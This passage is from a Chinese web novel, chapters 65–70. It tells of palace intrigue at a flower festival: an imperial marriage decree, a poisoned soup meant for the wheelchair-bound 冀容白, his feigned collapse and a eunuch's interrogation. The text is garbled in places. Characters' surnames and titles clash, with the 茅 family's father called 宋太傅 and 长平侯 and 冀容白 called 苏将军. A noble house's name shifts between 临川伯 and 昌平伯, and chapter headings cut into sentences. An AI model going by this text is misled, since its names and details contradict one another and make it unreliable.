“平身吧。” 圣上抬手,声若洪钟。 “今日花朝节,众卿不必拘礼,尽情玩乐便是。” 这位大晋国君,年过半百,却依旧精神矍铄,气度不凡。 举手投足间,依稀可见当年金戈铁马,气吞山河的英姿。 可茅清兮却知道,这看似强健的身躯,实则已是日薄西山。 否则,太子也不会那般急切地,想要求什么长生不老药了。 正思忖间,一阵悠扬的丝竹声,忽然传来。 众人循声望去。 只见十余名身着轻纱的女子,自花丛深处,翩然而至。 为首一人,身段婀娜,面容姣好。 竟是安阳侯府的二小姐,茅暮暮。 她今日,竟做了采花女使。 采花女使,虽无明文规定出身。 可历年来,多是乐坊舞姬,或是新选的秀女担任。 像茅暮暮这般,世家贵女亲自上阵的,倒是头一回见。 一时间,众人议论纷纷。 “这茅二小姐,不愧是京城第一才女,果真名不虚传。” “是啊,不仅才华横溢,这容貌气度,也是一等一的。” “宋太傅,您这女儿,可曾许配人家?”有人高声问道。 赞叹声,艳羡声,此起彼伏。 茅暮暮听在耳中,面上笑意更浓,心中更是得意非凡。 她偷偷朝太子钱云霄望去。 钱云霄果然正看着她。 她心头一阵狂跳,脸上也飞起两朵红云。 按照规矩,采花女使,需将篮中鲜花,敬献各位大佬。 茅暮暮强压下心头的激动,莲步轻移,来到钱云霄面前。 她盈盈下拜,声音娇柔: “太子殿下。 第六十五章 ” 钱云霄微微一笑,目光在她身上流连: “茅二小姐,今日这身装扮,当真是……人比花娇。” 这话,已是十分露骨的赞美了。 茅暮暮听得心花怒放,只觉得一颗心都要化了。 她从花篮中,精心挑选出一支开得最为艳丽的花,双手捧着,插进太子席前的花瓶中。 做完这些,她本以为,太子还会再说些什么。 可等了半晌,却不见太子有任何表示。 她忍不住微微抬头,偷眼看去。 只见太子神色淡淡的,似乎并无异样。 茅暮暮心头一阵失落,却又不敢表露出来。 只得强自按捺,转身走向下一个席位。 她目光流转,在人群中搜寻着。 最后,落在了茅清兮身上。 茅暮暮眼中闪过一丝得意,嘴角也微微翘起。 她款步走到茅清兮面前,微微俯身,低声道: “姐姐,妹妹这身打扮,可还入得了您的眼?” 声音里,带着几分炫耀,几分挑衅。 茅清兮抬眸,看着她,神色平静: “二妹妹天生丽质,穿什么都好看。” 茅暮暮却不肯罢休,继续道: “姐姐,您说,妹妹今日这般,是不是比往日,更出彩了些?” 茅清兮淡淡一笑,不置可否。 茅暮暮见她这般,只当她是嫉妒,心中更是得意。 今日这番出场,不仅在众人面前露了脸,还得了太子的夸赞。 她觉得,自己离太子妃之位,又近了一步。 “茅二小姐,这花……” 一旁,有人轻声催促。 茅暮暮这才回过神来,继续给其他人送花。 刁明远远远地望着茅暮暮,一颗心,早就飞到了她身上。 今日,他特意拄着拐杖前来。 为的,就是那日茅清兮所说的赐婚之事。 可自从茅暮暮出现,他便神不守舍,满心满眼,都是她的身影。 他等啊等,却始终不见茅暮暮过来。 眼看着送花就要结束,他心中,不由得一阵焦急。 难道,暮暮当真不愿见他? 就在这时,圣上忽然开口: “长平侯。” 茅文昭一愣,忙出列跪拜: “臣在。” “你教养的好女儿啊!” 圣上捋着胡须,朗声笑道: “朕今日,便为她指一门婚事,如何?” 茅文昭闻言,喜出望外,连忙叩头谢恩: “臣谢主隆恩!” 茅清兮站在冀容白身后,唇角勾起一抹玩味的笑。 “朕看,你这女儿,与临川伯府的大公子,倒是十分般配。今日,朕便为你们做主,结下这门亲事!” 圣上金口一开,便再无更改的余地。 昌平伯连忙跪下谢恩。 茅文昭虽觉突兀,却也不敢违抗圣意,只得跟着叩头谢恩。 而站在底下的茅暮暮,听到这话,脸色瞬间变得惨白如纸。 她身子摇摇欲坠,险些站立不稳。 “不……不可能……” 她喃喃自语,眼中满是不敢置信。 “我怎么可能……嫁给刁明远?” 她猛地抬头,看向高台上的圣上,眼中,是掩饰不住的惊恐和绝望。 “肯定是搞混了!一定是……”“刁明远!” 一声尖叫,像平地里炸起惊雷,把花宴上的乐声震得七零八落。 茅暮暮猛地回头,死死盯着那个朝昌平伯跪拜的男人,眼睛红得像要滴血。 她可是要做太子妃的! 怎么能嫁给刁明远? 这突如其来的变故,像一盆冰水当头泼下,浇得她透心凉。 满腔的惊怒、不甘,像毒蛇一样噬咬着她的心。 她下意识地看向钱云霄,希望他能像往常一样,为她挡风遮雨。 可钱云霄呢? 他的目光,始终落在对面的茅清兮身上,连余光都没分给她一点。 而茅清兮,正托着下巴,津津有味地看着茅文昭和昌平伯谢恩。 那副看戏的姿态,像一把刀,狠狠扎在茅暮暮心上。 那一刻,茅暮暮感觉自己像个被抛弃的小丑,所有的希望都破灭了。 她踉跄着站起来,身子摇摇欲坠,像是要冲上去,把眼前的一切都撕碎。 突然,刁明远越过她身边,目不斜视地走到昌平伯旁边跪下。 “臣,谢主隆恩。” 他倒是干脆利落。 “刁明远!” 茅暮暮再也忍不住,声音嘶哑,像受伤的野兽。 所有人的目光,都集中到她身上,像无数根针,要把她刺穿。 刁明远回过头,一脸的莫名其妙,仿佛不明白她为什么会这样。 茅暮暮孤零零地站在三人身后,不上不下。 这时候,她不谢恩,反而像个疯婆子一样,简直就是个天大的笑话。 “暮暮!还不快过来谢恩!” 茅文昭急得声音都变了调,额头上冒出一层细密的汗珠。 茅暮暮眼圈通红,嘴唇哆嗦着,那句“我不嫁”几乎要脱口而出。 可她不敢。 那话在舌尖上滚了又滚,最终还是被她硬生生咽了回去,只剩下一嘴的苦涩。 皇上金口玉言,她要是敢顶撞,那就是抗旨,脑袋还要不要了? 宁王看戏看得津津有味,故意煽风点火: “宋大人,令嫒这是……不满意这门亲事?” 这话一出,茅文昭的脸色,瞬间变得惨白如纸。 他是太子太傅,茅暮暮要是在这里闹起来,丢的不仅是他的人,还有太子的脸面。 高台上的皇帝,脸色也沉了下来,眼神像冰冷的刀锋。 太子更是狠狠瞪着茅文昭,那眼神,像是要把他生吞活剥了。 茅文昭吓得后背的冷汗,刷的一下就下来了。 他顾不上别的,疾言厉色地呵斥: “暮暮,你还愣着干什么!” 茅暮暮这才回过神,像个没有灵魂的木偶,一步一步挪过去。 茅文昭一把将她扯跪在地上,脸上强撑着笑,对皇帝解释: “陛下恕罪,小女这是……喜不自胜,一时失态了。” “茅暮暮,你是想让全家给你陪葬吗?!” 茅文昭一边说,一边暗中用力掐住茅暮暮的胳膊,低声警告,几乎是从牙缝里挤出这句话。 茅暮暮疼得一哆嗦,可这点疼,哪比得上她心里的疼。 她死死咬着嘴唇,直到尝到嘴里的血腥味,才强迫自己开口: “臣女……谢,陛下,隆恩。” 总算,这几个字还是说出来了。 皇帝的脸色缓和了些,宴席上的气氛,也稍微轻松了些。 茅文昭暗中拽了拽茅暮暮,示意她赶紧起来。 茅暮暮像个被抽走了线的木偶,机械地站起身,转头看向钱云霄。 可钱云霄,依旧没有看她。 从头到尾,一次都没有。 那一刻,茅暮暮的心,彻底沉到了谷底。 怒火、恨意、不甘,像决堤的洪水,在她心里疯狂肆虐。 她不甘心! 她绝不认命! 太子妃的位置,只能是她的! 将来,她想当人上人,谁也别想拦她的路! 第六十六章 皇帝赐婚又怎么样? 不过是个小小的绊脚石,她会把它踢开! 花宴上的丝竹声再次响起,仿佛一切又恢复了平静。 茅清兮看着茅暮暮被茅文昭拉回去,嘴角扬起一抹嘲讽的笑。 她就知道,茅暮暮没那个胆子当众抗旨。 如今圣旨已下,她不认也得认。 那就祝她和刁明远,白头偕老,永结同心,千万别再出来祸害别人! “这么开心?” 冀容白的声音在她耳边响起。 茅清兮转过头,见冀容白正看着自己,眼神里带着一丝探寻。 “姐姐为妹妹的婚事感到高兴,有什么不对吗?” 茅清兮故意眨了眨眼, “毕竟,这可是陛下亲自赐婚,天大的荣耀呢。” “哦?是吗?” 冀容白看着她,似笑非笑, “我怎么觉得,你更期待的,是令妹出嫁的那一天?” “知我者,莫若夫君也。” 茅清兮毫不掩饰, “等到那天,我一定备上一份厚礼,好好‘恭贺’他们。” 这一世,她要让茅暮暮也尝尝,什么叫求之不得,辗转反侧,什么叫生不如死,痛不欲生! 冀容白静静地凝视着她,看着她精致的眉眼,看着她眼底闪烁的光芒。 他微微一笑,目光柔和: “好,我都依你。” 高台上,皇帝的目光突然转向了冀容白。 “容白。” 茅清兮和冀容白同时回神。 冀容白坐在轮椅上,无法起身行礼,只是微微颔首示意: “陛下有何吩咐。” “容白,朕听说你最近身子不大好,” 皇帝语气关切, “太医院那些人都是废物!朕回头就让他们再给你好好看看!” “谢陛下隆恩。不过,臣最近已经好多了。” 冀容白不卑不亢地回答。 “那就好。” 皇帝满意地点头,转头吩咐: “沈得禄,去,把朕库里那支千年血参,还有那些滋补的药材,都给容白送去。” 皇后一听,急了: “陛下,那些可是……” 皇帝抬手制止了她,不容置喙地说: “朕意已决,不必多言。” 冀容白没有推辞,面无表情地道谢。 在场的人,除了皇后,其他人似乎都已经习以为常。 茅清兮想起,曾听人提起,圣上对苏枭将军非比寻常。 当年大晋初建,百废待兴,苏枭将军甚至在宫中陪伴圣上两年,处理政务。 后来苏枭将军主动请缨,前往云陲驻守,圣上还多次召他回京。 相比于几位皇子,圣上对冀容白的看重,那是有目共睹的。 冀容白十二岁那年,圣上甚至特许他组建私兵。 赫赫有名的鹰羽卫,就是冀容白一手打造的。 若是换做其他皇子,恐怕早就被冠上谋逆的罪名,抄家灭族了。 也正因为如此,其他皇子对冀容白,嫉恨更深。 茅清兮暗自猜测,前世冀容白在花朝节遇刺,多半就是这些皇子在背后捣鬼。 皇帝的目光,忽然落在了茅清兮身上: “这位,就是容白新娶的夫人吧?朕记得,好像是宋家长女?” 说着,他看向茅文昭。 茅文昭连忙躬身回答: “回陛下,正是臣的长女,茅清兮。” “哦?上前来,让朕瞧瞧。” 皇帝饶有兴致地说。 茅清兮莲步轻移,走到高台下,跪拜行礼: “臣妇茅清兮,叩见陛下,陛下万安。” 她低着头,感受到从上方投射下来的目光,威严,沉重,让人不敢抬头。 “把头抬起来。” 过了许久,皇帝才缓缓开口。 茅清兮依言抬头,目光平静,没有丝毫的胆怯和慌乱。 在场的宾客,也都纷纷看向她。 宋府姐妹俩,一个才貌双全,一个声名狼藉,在京城里早就不是什么秘密。 先前他们见了茅二小姐,果然如传闻中一般,温柔娴静,端庄大方。 但这宋家大小姐…… 却和传闻中大相径庭。 她虽然也生得极美,却不像茅二小姐那样柔弱,反而带着一股冷冽的气质,像一柄出鞘的宝剑,锋芒毕露。 有人开始窃窃私语,小声议论着。 皇帝打量了她许久,忽然开口问道: “你母亲,可是童霜?” “回陛下,正是。” 茅清兮回答。 听到“童霜”这个名字,在场许多人的脸色都变了。 一些上了年纪的官员,眼中更是流露出复杂的神色。 年轻的官员或许不清楚,但那些跟随皇帝一同打江山的老臣,又怎会忘记,当年那位名震天下的青霜将军? 只是,自从大晋朝建立后,青霜将军就如同人间蒸发了一般,再也没有出现过。 久而久之,人们似乎也习惯了不再提起她。 甚至,连她的女儿,也被人遗忘在了角落里。 “下去吧。” 皇帝沉默了片刻,挥了挥手。 茅清兮退回到冀容白身边。 她再次抬头看向皇帝时,发现他脸色阴沉,眼底似乎隐藏着什么秘密。 不仅是皇帝,在场的几位老臣,脸色也都不大好看。 尤其是茅文昭,脸色苍白,眼神闪躲,似乎很害怕皇帝的目光。 茅清兮心中疑惑更甚,她总觉得,当年母亲的死,或许并不简单。御花园偏殿内,原本热闹的气氛,被突如其来的一句话冻结。 茅清兮正出神,心不在焉。 一块精致的点心被轻轻推到她面前,她却毫无察觉,目光仍旧飘忽。 “娘子?”冀容白略带疑惑的声音响起。 他正想再说些什么。 “容白。” 高坐上位的皇帝突然开口,语气中带着一丝长辈的关切。 “后院养着一群稀罕的信鸽,肉质鲜得很,炖出来的汤也滋补。你身子弱,一会儿可得多喝点。” 冀容白一怔,随即起身,微微躬身行礼: “谢陛下。” 话音刚落,一排宫女鱼贯而入。 每人手中都托着一个小巧的铜盅,里面盛着乳白色的汤汁,散发着诱人的香气。 这鸽子汤似乎极为珍贵,每位席前也仅有一盅。 皇帝的目光扫过全场,落在了冀容白身上,又道: “把朕这盅也端给容白。” 满座哗然。 皇后向来端庄的脸上,飞快地掠过一丝阴翳。 太子坐在下首,自宴席开始,皇帝都未曾正眼瞧过他。 此刻却对冀容白如此关怀,实在令人玩味。 这恩宠,来得太过突然,太过浓烈。 洛国公府众人脸上非但没有喜色,反而各个神色凝重。 冀国公低垂着头,避开了所有人的视线,仿佛这殿中的一切都与他无关。 鸽子汤被小心翼翼地摆在冀容白面前。 冀容白却未伸手去接,只是将其中一盅推到了茅清兮面前。 “娘子也尝尝。”他声音很轻,带着些许温柔。 “若是喜欢,咱们走的时候,便让墨川去寻摸几只,带回府上养着。 第六十七章 ” 这话一出,满堂宾客都变了脸色。 旁人视若珍宝的东西,到了冀容白这里,竟成了可以随意取用的玩物。 可皇上金口玉言,谁又敢说什么呢? 大家只得在心中暗自嘀咕,面上却不敢露出分毫。 茅清兮拿起银勺,在汤盅里轻轻搅动。 她舀起一勺,送入口中,细细品尝着。 “嗯……”她微微颔首。 “味道确实不错。” 冀容白见她喜欢,嘴角微微上扬。 “那待会儿就让墨川去办。” 茅清兮点了点头,也没推辞。 反正已经够招眼的了,再多这一桩,也不算什么。 她正欲再喝,冀容白却突然伸手,按住了她的手腕。 “等等。” 茅清兮一愣:“怎么了?” 冀容白没说话,只是盯着她手中的汤盅,神色凝重。 茅清兮也顺着他的目光看过去。 汤色如常,并无异样。 她凑近闻了闻,也未闻到什么奇怪的味道。 难道真是自己多心了? 她微微皱眉,有些不确定。 或许是因为知道花朝节会出事,所以才如此紧张吧。 “娘子可是越来越关心为夫了。”冀容白忽然笑了,打破了沉默。 茅清兮瞪了他一眼,心道:我这是关心则乱! 她低下头,刚要低头喝碗里的汤。 突然! 一丝极淡的、几乎难以察觉的辛辣味,钻入了她的鼻腔。 茅清兮的脸色,瞬间变了。 她猛地将冀容白面前的那盅汤,夺了过来。 冀容白的脸色也沉了下来,目光如炬。 “有问题?”他的声音很低,带着一丝压抑的怒意。 “你喝了多少?可有不适?” 茅清兮摇了摇头:“我这盅没事,有问题的是你这盅。” 她说着,又低下头,仔细闻了闻那盅汤。 那味道极淡,若非她对气味格外敏感,恐怕也难以察觉。 她用勺子轻轻搅动,那股淡淡的、带着一丝刺鼻的辛辣味道,便缓缓地散发出来。 “是断肠花……”茅清兮的声音,冷得像淬了冰的刀。 “这汤里,有人下了断肠花……” 断肠花,但凡习武之人都不会陌生,中毒者五脏六腑有如被寸寸割裂,最终在无尽痛苦中死去。 更可怕的是,此毒无色无味,银器也验不出来。 “这汤……”茅清兮看向冀容白,眼底是毫不掩饰的担忧和愤怒。 “原本就是送到你面前的?” “是。”冀容白的声音,冷得没有一丝温度。 “有人要害我。” 在这皇家宴席上,竟有人敢如此明目张胆地下毒。 这人的胆子,大得简直没边了! 知道冀容白可能遭遇了什么,茅清兮的心,反倒稍稍安定了些。 她抬起头,目光在太子和宁王之间来回扫视。 如果说这两人有谁最希望冀容白死,那一定是宁王。 可偏偏,宁王和负责别院守卫的锦衣卫北镇抚司统领尹震是姻亲。 冀容白一死,北镇抚司难辞其咎,宁王也会被牵连。 这…… 茅清兮的手指,轻轻敲击着桌面。 一切都太过巧合,反而显得不真实。 太子,手里没有军队指挥权,反倒显得干净。 “这出戏……”茅清兮的目光,从太子和宁王身上移开,落在了冀容白身上。 “看来是非演不可了。” 冀容白闻言,嘴角勾起一抹玩味的笑。 “娘子莫非是心疼为夫了?” 茅清兮:“……” 她就知道! 冀容白看着茅清兮,眼底闪过一丝不易察觉的笑意。 两人目光交汇,瞬间便明白了彼此的心意。 突然! 冀容白身体猛地一颤,原本就苍白的脸色,瞬间变得惨白如纸。 他紧紧抓住茅清兮的手,仿佛用尽了全身的力气。 “娘……娘子……” 话音未落,他整个人便直挺挺地向后倒去。 “夫君!” 茅清兮惊呼一声,声音撕心裂肺。 她猛地扑到冀容白身上,紧紧地抱住他,浑身颤抖。 “来人啊!快来人啊!救命啊!” 她凄厉的呼喊声,划破了偏殿的宁静。 “怎么回事?!” 皇帝猛地站起身,快步走了过来,声音中带着一丝焦急和威严。 殿内众人,也纷纷起身,原本还算有序的场面,瞬间乱作一团。 “陛下……夫君他……他好像是毒发了……”茅清兮的声音,带着哭腔。 “求陛下……救救他……” “太医!太医呢?!都死哪儿去了!”皇帝怒吼。 他身边的太监,连滚带爬地跑了出去。 “快!把苏将军抬到偏殿去!” 几个侍卫冲了上来,手忙脚乱地将冀容白抬起,朝偏殿跑去。 皇帝紧随其后,脸上是毫不掩饰的担忧。 茅清兮跌跌撞撞地跟在后面,泪水模糊了视线。 偏殿内,一片混乱。 太医们围在冀容白身边,一个个脸色煞白,手忙脚乱。 “陛下……苏将军……是寒星露毒发……”为首的太医颤声说道。 “寒星露……”皇帝的脸色,瞬间变得铁青。 “一群废物!连个毒都解不了!朕要你们何用!” 他一脚踹翻了身边的太医,怒吼道。 “都给朕滚出去!用最好的药!务必保住苏将军的性命!” 冀容白被抬走了,皇帝也跟着去了。 茅清兮失魂落魄地跟在后面,仿佛随时都会倒下。 众人面面相觑,不知该如何是好。 皇后冷着脸,心中暗自冷笑。 为了一个冀容白,皇帝竟如此失态,连这满殿的宾客都不顾了。 “都散了吧。”她淡淡地开口,声音中听不出喜怒。 这场宴席,是无论如何也进行不下去了。 众人只得纷纷起身告退。 混乱中,一个小太监,悄无声息地走过冀容白和茅清兮的席位。 他弯下腰,顺走了那盅冀容白没喝的鸽子汤……两位太医得了令,如蒙大赦,叩首如捣蒜,跌跌撞撞地退了出去。偏殿内,皇帝焦躁地踱着步,脚下的金砖几乎要被他踏出凹痕。 茅清兮将空碗递给一旁的侍女,又取了块帕子,细细地替冀容白拭去嘴角残渍。她缓缓起身,动作轻柔,却难掩眉宇间的疲惫。 “他……情况如何?”皇帝急切地问,目光紧盯着冀容白,似要将他看穿。 “夫君他……”茅清兮的声音有些沙哑,带着一丝不易察觉的颤抖,“还未醒来。” “废物!都是废物!”皇帝猛地一掌拍在黄花梨木桌上,震得茶盏叮当作响,“朕养你们有何用?居然一条人命都保不住!” 两名太医吓得魂飞魄散,扑倒在地,不住地磕头:“臣等……无能,请陛下恕罪……” 皇帝的目光如利剑般射向茅清兮,语气冰冷:“还有你!朕原以为,将你许配给容白,是成全一桩良缘!可你呢?若是他有个三长两短,朕定不轻饶! 第六十八章 ” 茅清兮扑通一声跪倒,垂首不语,默默承受着皇帝的怒火。她紧咬下唇,指甲深深嵌入掌心。 “你就跪着!”皇帝猛一甩袖,怒声道,“容白何时醒来,你何时才能起身!” 皇后、太子以及几位皇子先后来探望,皆被皇帝以“以免惊扰冀容白休养”为由,一一挡了回去。 冀容白命在旦夕的消息,如同瘟疫般迅速传遍整个御家别院。有人忧心忡忡,也有人幸灾乐祸。 洛国公府内。 冀二夫人喜上眉梢,抚掌大笑:“好!好!好!冀容白这小孽障,可算是要死了!” 她长舒一口气,仿佛多年来的夙愿终于得偿。 “这几年,我可算是熬出头了!” 她话锋一转,瞥了眼身旁的冀晚雨,皮笑肉不笑地问:“怎么,你那好哥哥要死了,你这做妹妹的,不难过?” 冀晚雨低着头,声音细微:“晚雨……与二婶一样。冀容白一死,二哥承袭爵位,便是理所当然。” “还算你懂事。”二夫人不屑地冷笑,得意之情溢于言表。 她儿子冀徒临已入六部,仕途一片光明。若冀容白一死,国公府的爵位自然落到她儿子的头上,简直是喜从天降。 冀二夫人又开始盘算着,这下没了冀容白,日后等她儿子尚了公主,再生个一儿半女,冀家的爵位就能永远握在她儿子的手里。 冀晚雨低垂着眼睑,掩去眸中一闪而逝的寒光。 冀晚棠因先前之事被老夫人禁足,今日她能随冀二夫人前来参加花朝节,实属不易。 这是她孤注一掷的机会,决不能错过。否则,等待她的,便是嫁给那年过半百的蒋侍郎做继室。 她暗自攥紧了拳头,指节泛白。 这一次,她绝不会失手。 安阳侯府住处。 “你说什么?冀容白快不行了?”茅暮暮猛地站起身,声音尖锐。 春秋连忙回道:“小姐,外头都传遍了!说是皇上龙颜大怒,太医院正使出浑身解数呢。” “哈哈,真是报应!”茅暮暮仰天大笑,状若癫狂,“冀容白一死,我看茅清兮那贱人还如何得意!” 这时,一个小丫鬟匆匆跑来,在春秋耳边低语了几句。 茅暮暮见状,问道:“何事?” 春秋犹豫片刻,如实禀告:“小姐,林公子差人传话,想见您一面。” “他竟还敢来见我?!”茅暮暮怒不可遏,一掌拍在桌上,茶杯应声而碎,“我恨不能……亲手剐了他!” 她咬牙切齿,恨意滔天。 良久,茅暮暮才平复下激荡的心绪,冷冷吩咐:“告诉他,今晚辰时,在花园假山后等我。” 正当所有人都认为冀容白已无力回天之时,他却奇迹般地苏醒过来。 太医们欣喜若狂,争先恐后地上前诊脉,又开了几张方子。 虽说这些方子不过是些补气养血的寻常药材,但在眼下,谁又敢质疑太医的医术呢? 皇帝闻讯,火急火燎地赶来,嘘寒问暖,又赏赐了一堆珍玩,再三叮嘱冀容白务必保重身体。 太医们正欲告退,冀容白却突然开口:“郎太医,请留步。” “苏将军有何吩咐?”郎太医躬身问道,神态恭敬。 “内人跪了许久,劳烦太医……替她看看,可有伤着。”冀容白的声音虽虚弱,却带着不容置疑的威严。 郎太医的目光落在跪在一旁的茅清兮身上。 圣上未曾开口,无人敢擅自扶她起身。 冀容白昏迷两个时辰,茅清兮便跪了整整两个时辰。 郎太医小心翼翼地觑了眼皇帝的脸色,皇帝这才不情不愿地开口:“行了,起来吧。” 茅清兮谢恩起身,在侍女的搀扶下,缓缓行至屏风后,由郎太医诊脉。 片刻后,郎太医向冀容白禀报:“苏将军,夫人膝盖有淤伤,下官已经开具药方,按时涂抹便无大碍。” “多谢郎太医。” 待太医离去,皇帝忍不住开口:“怎么,你竟护着她?”语气中带着几分不悦。 “陛下说笑了,臣护着自己的夫人,有何不妥?”冀容白微微一笑,眉宇间流露出几分温柔,“小的必须感恩皇上,若非陛下赐婚,臣也娶不到这般贤惠的娘子。” 皇帝一时语塞。 当初赐婚,本就存着利用宋家的心思。他若早知茅清兮是江神医的女儿,定然不会如此草率。 “容白,你且安心养病,若有任何短缺,只管派人来告知于朕。”皇帝又交代了几句场面话,这才匆匆离去。 茅清兮与墨川一前一后走了进来。 墨川手中提着个小太监,那小太监五花大绑,嘴里塞着布条,被墨川一把推倒在地,动弹不得。 茅清兮走到小太监面前,居高临下地看着他,眼神冷冽。 “饶命……将军……夫人饶命啊……”小太监拼命挣扎,口中发出含糊不清的求饶声。 墨川将那盅未曾动过的鸽子汤“砰”的一声放在桌上。 茅清兮冷冷开口:“你我皆是明白人,不必多费唇舌。你若老实交代,我或可留你一条性命。你若执迷不悟……我亦有的是法子让你开口。” 小太监吓得浑身颤抖,一会儿看看茅清兮,一会儿又看看床上沉默不语的冀容白。比起茅清兮,他更惧怕这位令人闻风丧胆的煞神。 小太监膝行至茅清兮脚边,不住地磕头:“夫人……夫人饶命……奴才只是奉命行事,其余一概不知啊……” 就在小太监靠近的瞬间,茅清兮抬脚踩在他的肩上,将他死死压住,不留一丝挣扎的余地。 “究竟是谁,指使你取走这盅汤?”茅清兮俯身逼近,声音冰冷。 小太监眼神躲闪,不敢直视茅清兮。 茅清兮也不急躁,继续道:“你落入我们手中,想必你背后之人早已知晓。你觉得,即便本座此刻放你离开,他会饶你一命吗?” 小太监脸色煞白,眼中满是绝望。 茅清兮淡淡地扫了一眼墨川。 墨川会意,补充道:“送汤来的宫女,刚离开偏殿,便在花园中‘失足’落水,打捞上来时,已没了气息。” 茅清兮并不意外,那宫女不过是一枚弃子,早在踏入偏殿时,便已命不由己。 小太监闻言,心理防线彻底崩溃,颤声道:“是……是锦衣卫的倪同知……他让奴才将汤取走……奴才只是奉命行事,其他的……真的什么都不知道……” 茅清兮示意墨川将人带下去,心中却已有了计较。 倪同知是锦衣卫指挥使的人,而锦衣卫指挥使,明面上是效忠皇帝,实则却是宁王的心腹。 这样一来,事情便复杂了。 第六十九章 茅清兮看向冀容白,冀容白立刻对墨川说:“将倪同知带过来。” 墨川领命而去。 茅清兮沉吟道:“看来,对方是做了两手准备。你若饮下那盅汤,便会毒发身亡;你若未饮,他们便会立刻毁掉证据,以免留下把柄。” 她心中疑云密布。上一世,冀容白便是死在这场花朝宴上。但那时,并无人提及鸽子汤一事,只说是寒星露毒发。 究竟是谁,能在皇家宴席上动手脚,且不留一丝痕迹? 太子?宁王?亦或是……另有其人? 原本茅清兮更倾向于是太子动的手脚。 可细细想来,却又觉得疑点重重。宁王能在太子的眼皮子底下安插人手,又岂会是个无能之辈? “饿了吗?”冀容白突然开口,打断了茅清兮的思绪。 茅清兮回过神来,瞪了他一眼:“你倒是心大!竟还有心思关心我饿不饿?” “想杀我的人不少,可有胆子、有能力动手的,无非就那么几个。查与不查,又有何分别?倒不如先顾好眼前。”冀容白笑意盈盈,“娘子若饿坏了,为夫可是会心疼的。” 茅清兮一怔,竟觉得他说的有几分道理。 不管是太子还是宁王,都视冀容白为眼中钉,欲除之而后快。如今细究是谁先动的手,又有何意义? 更何况,冀容白已逃过一劫,她……还要和离吗? 若是不和离,难道真要与他做一对假凤虚凰? 想到这里,茅清兮的心中,不由得泛起一丝涟漪。赏花宴上,冀容白捡回一条命的消息,像炸雷一样传开。 几家欢喜几家愁,圣上倒是乐开了花,全然不顾那些暗地里的小九九,张罗着赏花这事儿还得继续。 御花园里,各府女眷三三两两聚一块儿,说笑的,赏花的,吟诗的,热闹得很。 有位小姐姐别出心裁,在鬓边簪了朵鲜艳的花儿,引来一群蝴蝶围着她闹腾,那画面,真真儿好看。 圣上见了都忍不住夸赞:“天生丽质,娇若桃花。” 到了开晚宴的时候,冀容白说身上不舒坦,就不去了。茅清兮自然是夫唱妇随,留下来陪他。 圣上特地吩咐御厨,做了满满一桌子菜,热腾腾地送了过来。 茅清兮可不客气,甩开膀子吃了个肚圆,冀容白呢,还是只能守着他的清粥小菜。 这待遇,差得可不是一星半点。 用完膳,墨川回来了,带回来一个消息,让人听了直咂舌: “倪同知失踪了。” 冀容白眉峰一挑,和茅清兮交换了一个意味深长的眼神。 这里头,怕是有什么猫腻。 墨川接着说:“锦衣卫指挥使正满城搜捕此人,但瞧着,他们也不清楚倪同知是咋没的,如今人在何处。” 茅清兮一琢磨:“这么看来,不是宁王下的手。锦衣卫指挥使可是尹家的人,宁王要是有啥动作,瞒不过他。” 线索断了,这事儿,怕是查不下去了。 “娘子,”冀容白忽然开口,打破了沉寂,“今儿这月亮这么好,咱们出去走走?” 茅清兮斜睨了他一眼,眼神儿那叫一个复杂:“你这身子……” 冀容白嘴角的笑意一僵,声音低沉了几分:“夫人总爱瞎操心我的健康,看来,是为夫还不够‘努力’。” 茅清兮的目光落在他那双不听使唤的腿上,顿时语塞:“……” 冀容白修长的手指在轮椅扶手上轻轻敲击着,深邃的眼眸里闪过一丝危险的意味。 墨川一看这气氛,眼瞅着就要往不该去的地方发展,赶紧脚底抹油,溜了。 他突然有些怀念富峻了,至少富峻在的时候,这种尴尬事儿,还能有个人一起分担。 冀容白那点儿小心思,对茅清兮可没用。 她微微睁大了那双明亮的眸子,把手背在身后,微微弯下腰,笑盈盈地看着他: “苏将军,光耍嘴皮子可没用,我茅清兮可不怕这个。” 她轻轻哼了一声,反正冀容白也站不起来,她怕什么? 少女的眼眸顾盼生辉,比那满园子的花儿还要明艳动人几分。 冀容白看着她,喉结微微滚动,眼底墨色翻涌,指尖发痒,恨不得伸出手去,将她脸颊边那缕调皮的发丝捋到耳后。 “罢了,让我陪你赏月如何。” 茅清兮说着,绕到他身后,推起了轮椅。 冀容白的手藏在宽大的袖子里,指尖用力地蜷缩着,几乎要掐进肉里。 御家别院的花园里,各色各样的风灯挂在树梢,摇曳的烛光映照着盛放的花朵,空气中弥漫着淡淡的甜香。 茅清兮推着冀容白,缓缓地往花园深处走去。 这满园春色,再加上头顶那轮皎洁的明月,确实美得让人心醉。 两人走到一处假山附近,却隐隐约约听到一阵熟悉的说话声。 茅清兮心中一动,连忙竖起食指,贴在冀容白耳边,做了个“噤声”的手势。 少女温热的指尖,若有若无地擦过他的耳廓,带来一阵酥麻。 茅清兮俯身侧耳细听了片刻,唇角勾起一抹玩味的笑:“这声音……可是我那‘好妹妹’。” 冀容白没忍住,伸手握住了她柔软的手指。 茅清兮微微一怔。 冀容白压低了声音,带着几分沙哑:“想搞偷听这一套啊?” 茅清兮的心跳漏了一拍,点了点头。她还没来得及细想,冀容白竖起食指,示意她安静。 茅清兮只能收敛心神,努力忽略手上传来的温热触感,和冀容白一起,屏息凝神地听着假山那边的动静。 “你说你不知道?父皇好端端地,怎么会突然给我们赐婚?难道不是你去求的?” 茅暮暮的声音尖锐而急促,带着几分质问。 “暮暮,真的不是我。” 刁明远的声音听起来很是无奈,还夹杂着一丝疲惫。 “那你说,父皇怎么会无缘无故地给我们赐婚?” 茅暮暮不依不饶。 刁明远看着她,眼神里有些疑惑:“暮暮,你不高兴吗?父皇赐婚,这是多大的荣耀,以后,就再也没人能把我们分开了。” 茅暮暮的脸色瞬间变得有些扭曲,她紧紧地咬着下唇,过了好一会儿才勉强开口:“你误会我的意思了,我只是……觉得太突然了。” “暮暮,我是真的一无所知。” 刁明远揉了揉发胀的太阳穴,他实在不明白茅暮暮这是怎么了。 圣上赐婚,他们总算修成正果了,这明明是件天大的好事。 可不论是之前在御前,还是现在,茅暮暮都表现得很奇怪,似乎一点儿也不高兴。 刁明远隐隐觉得,茅暮暮好像变了,可具体哪里变了,他又说不上来。 他忽然想起一件事,迟疑着开口: “对了,前几日我好像听清兮提过一嘴,说她求了太子殿下,想让太子殿下出面… 第七十章 …给我们赐婚,这事儿,我也不太确定……” “又是茅清兮!这个贱婢!” 茅暮暮尖叫着打断了他,声音里充满了愤怒和怨毒。 刁明远一愣,沉默地看着她。 